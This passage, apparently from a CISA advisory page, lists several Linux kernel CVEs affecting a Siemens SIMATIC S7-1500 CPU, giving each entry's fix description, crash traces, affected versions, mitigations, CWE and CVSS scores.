<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/835.html">CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-56719</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: stmmac: fix TSO DMA API usage causing oops Commit 66600fac7a98 ("net: stmmac: TSO: Fix unbalanced DMA map/unmap for non-paged SKB data") moved the assignment of tx_skbuff_dma[]'s members to be later in stmmac_tso_xmit(). The buf (dma cookie) and len stored in this structure are passed to dma_unmap_single() by stmmac_tx_clean(). The DMA API requires that the dma cookie passed to dma_unmap_single() is the same as the value returned from dma_map_single(). However, by moving the assignment later, this is not the case when priv-&gt;dma_cap.addr64 &gt; 32 as "des" is offset by proto_hdr_len. This causes problems such as: dwc-eth-dwmac 2490000.ethernet eth0: Tx DMA map failed and with DMA_API_DEBUG enabled: DMA-API: dwc-eth-dwmac 2490000.ethernet: device driver tries to +free DMA memory it has not allocated [device address=0x000000ffffcf65c0] [size=66 bytes] Fix this by maintaining "des" as the original DMA cookie, and use tso_des to pass the offset DMA cookie to stmmac_tso_allocator(). Full details of the crashes can be found at: https://lore.kernel.org/all/d8112193-0386-4e14-b516-37c2d838171a@nvidia.com/ https://lore.kernel.org/all/klkzp5yn5kq5efgtrow6wbvnc46bcqfxs65nz3qy77ujr5turc@bwwhelz2l4dw/</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-56719">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-57917</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: topology: Keep the cpumask unchanged when printing cpumap During fuzz testing, the following warning was discovered: different return values (15 and 11) from vsnprintf("%*pbl ", ...) test:keyward is WARNING in kvasprintf WARNING: CPU: 55 PID: 1168477 at lib/kasprintf.c:30 kvasprintf+0x121/0x130 Call Trace: kvasprintf+0x121/0x130 kasprintf+0xa6/0xe0 bitmap_print_to_buf+0x89/0x100 core_siblings_list_read+0x7e/0xb0 kernfs_file_read_iter+0x15b/0x270 new_sync_read+0x153/0x260 vfs_read+0x215/0x290 ksys_read+0xb9/0x160 do_syscall_64+0x56/0x100 entry_SYSCALL_64_after_hwframe+0x78/0xe2 The call trace shows that kvasprintf() reported this warning during the printing of core_siblings_list. kvasprintf() has several steps: (1) First, calculate the length of the resulting formatted string. (2) Allocate a buffer based on the returned length. (3) Then, perform the actual string formatting. (4) Check whether the lengths of the formatted strings returned in steps (1) and (2) are consistent. If the core_cpumask is modified between steps (1) and (3), the lengths obtained in these two steps may not match. Indeed our test includes cpu hotplugging, which should modify core_cpumask while printing. To fix this issue, cache the cpumask into a temporary variable before calling cpumap_print_{list, cpumask}_to_buf(), to keep it unchanged during the printing process.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-57917">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/362.html">CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-57924</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs: relax assertions on failure to encode file handles Encoding file handles is usually performed by a filesystem &gt;encode_fh() method that may fail for various reasons. The legacy users of exportfs_encode_fh(), namely, nfsd and name_to_handle_at(2) syscall are ready to cope with the possibility of failure to encode a file handle. There are a few other users of exportfs_encode_{fh,fid}() that currently have a WARN_ON() assertion when -&gt;encode_fh() fails. Relax those assertions because they are wrong. The second linked bug report states commit 16aac5ad1fa9 ("ovl: support encoding non-decodable file handles") in v6.6 as the regressing commit, but this is not accurate. The aforementioned commit only increases the chances of the assertion and allows triggering the assertion with the reproducer using overlayfs, inotify and drop_caches. Triggering this assertion was always possible with other filesystems and other reasons of -&gt;encode_fh() failures and more particularly, it was also possible with the exact same reproducer using overlayfs that is mounted with options index=on,nfs_export=on also on kernels &lt; v6.6. Therefore, I am not listing the aforementioned commit as a Fixes commit. Backport hint: this patch will have a trivial conflict applying to v6.6.y, and other trivial conflicts applying to stable kernels &lt; v6.6.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-57924">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/617.html">CWE-617 Reachable Assertion</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-57973</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: rdma/cxgb4: Prevent potential integer overflow on 32bit The "gl-&gt;tot_len" variable is controlled by the user. It comes from process_responses(). On 32bit systems, the "gl-&gt;tot_len + sizeof(struct cpl_pass_accept_req) + sizeof(struct rss_header)" addition could have an integer wrapping bug. Use size_add() to prevent this.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-57973">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-57977</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: memcg: fix soft lockup in the OOM process A soft lockup issue was found in the product with about 56,000 tasks were in the OOM cgroup, it was traversing them when the soft lockup was triggered. watchdog: BUG: soft lockup - CPU#2 stuck for 23s! [VM Thread:1503066] CPU: 2 PID: 1503066 Comm: VM Thread Kdump: loaded Tainted: G Hardware name: Huawei Cloud OpenStack Nova, BIOS RIP: 0010:console_unlock+0x343/0x540 RSP: 0000:ffffb751447db9a0 EFLAGS: 00000247 ORIG_RAX: ffffffffffffff13 RAX: 0000000000000001 RBX: 0000000000000000 RCX: 00000000ffffffff RDX: 0000000000000000 RSI: 0000000000000004 RDI: 0000000000000247 RBP: ffffffffafc71f90 R08: 0000000000000000 R09: 0000000000000040 R10: 0000000000000080 R11: 0000000000000000 R12: ffffffffafc74bd0 R13: ffffffffaf60a220 R14: 0000000000000247 R15: 0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f2fe6ad91f0 CR3: 00000004b2076003 CR4: 0000000000360ee0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: vprintk_emit+0x193/0x280 printk+0x52/0x6e dump_task+0x114/0x130 mem_cgroup_scan_tasks+0x76/0x100 dump_header+0x1fe/0x210 oom_kill_process+0xd1/0x100 out_of_memory+0x125/0x570 mem_cgroup_out_of_memory+0xb5/0xd0 try_charge+0x720/0x770 mem_cgroup_try_charge+0x86/0x180 mem_cgroup_try_charge_delay+0x1c/0x40 do_anonymous_page+0xb5/0x390 handle_mm_fault+0xc4/0x1f0 This is because thousands of processes are in the OOM cgroup, it takes a long time to traverse all of them. As a result, this lead to soft lockup in the OOM process. To fix this issue, call 'cond_resched' in the 'mem_cgroup_scan_tasks' function per 1000 iterations. For global OOM, call 'touch_softlockup_watchdog' per 1000 iterations to avoid this issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-57977">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/667.html">CWE-667 Improper Locking</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-57979</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: pps: Fix a use-after-free On a board running ntpd and gpsd, I'm seeing a consistent use-after-free in sys_exit() from gpsd when rebooting: pps pps1: removed ------------[ cut here ]------------ kobject: '(null)' (00000000db4bec24): is not initialized, yet kobject_put() is being called. WARNING: CPU: 2 PID: 440 at lib/kobject.c:734 kobject_put+0x120/0x150 CPU: 2 UID: 299 PID: 440 Comm: gpsd Not tainted 6.11.0-rc6-00308-gb31c44928842 #1 Hardware name: Raspberry Pi 4 Model B Rev 1.1 (DT) pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : kobject_put+0x120/0x150 lr : kobject_put+0x120/0x150 sp : ffffffc0803d3ae0 x29: ffffffc0803d3ae0 x28: ffffff8042dc9738 x27: 0000000000000001 x26: 0000000000000000 x25: ffffff8042dc9040 x24: ffffff8042dc9440 x23: ffffff80402a4620 x22: ffffff8042ef4bd0 x21: ffffff80405cb600 x20: 000000000008001b x19: ffffff8040b3b6e0 x18: 0000000000000000 x17: 0000000000000000 x16: 0000000000000000 x15: 696e6920746f6e20 x14: 7369203a29343263 x13: 205d303434542020 x12: 0000000000000000 x11: 0000000000000000 x10: 0000000000000000 x9 : 0000000000000000 x8 : 0000000000000000 x7 : 0000000000000000 x6 : 0000000000000000 x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000 x2 : 0000000000000000 x1 : 0000000000000000 x0 : 0000000000000000 Call trace: kobject_put+0x120/0x150 cdev_put+0x20/0x3c __fput+0x2c4/0x2d8 ____fput+0x1c/0x38 task_work_run+0x70/0xfc do_exit+0x2a0/0x924 do_group_exit+0x34/0x90 get_signal+0x7fc/0x8c0 do_signal+0x128/0x13b4 do_notify_resume+0xdc/0x160 el0_svc+0xd4/0xf8 el0t_64_sync_handler+0x140/0x14c el0t_64_sync+0x190/0x194 ---[ end trace 0000000000000000 ]--- ...followed by more symptoms of corruption, with similar stacks: refcount_t: underflow; use-after-free. kernel BUG at lib/list_debug.c:62! Kernel panic - not syncing: Oops - BUG: Fatal exception This happens because pps_device_destruct() frees the pps_device with the embedded cdev immediately after calling cdev_del(), but, as the comment above cdev_del() notes, fops for previously opened cdevs are still callable even after cdev_del() returns. I think this bug has always been there: I can't explain why it suddenly started happening every time I reboot this particular board. In commit d953e0e837e6 ("pps: Fix a use-after free bug when unregistering a source."), George Spelvin suggested removing the embedded cdev. That seems like the simplest way to fix this, so I've implemented his suggestion, using __register_chrdev() with pps_idr becoming the source of truth for which minor corresponds to which device. But now that pps_idr defines userspace visibility instead of cdev_add(), we need to be sure the pps-&gt;dev refcount can't reach zero while userspace can still find it again. So, the idr_remove() call moves to pps_unregister_cdev(), and pps_idr now holds a reference to pps-&gt;dev. pps_core: source serial1 got cdev (251:1) &lt;...&gt; pps pps1: removed pps_core: unregistering pps1 pps_core: deallocating pps1</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-57979">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-58011</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: platform/x86: int3472: Check for adev == NULL Not all devices have an ACPI companion fwnode, so adev might be NULL. This can e.g. (theoretically) happen when a user manually binds one of the int3472 drivers to another i2c/platform device through sysfs. Add a check for adev not being set and return -ENODEV in that case to avoid a possible NULL pointer deref in skl_int3472_get_acpi_buffer().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-58011">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-58016</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: safesetid: check size of policy writes syzbot attempts to write a buffer with a large size to a sysfs entry with writes handled by handle_policy_update(), triggering a warning in kmalloc. Check the size specified for write buffers before allocating. [PM: subject tweak]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-58016">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-58020</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: HID: multitouch: Add NULL check in mt_input_configured devm_kasprintf() can return a NULL pointer on failure,but this returned value in mt_input_configured() is not checked. Add NULL check in mt_input_configured(), to handle kernel NULL pointer dereference error.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-58020">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
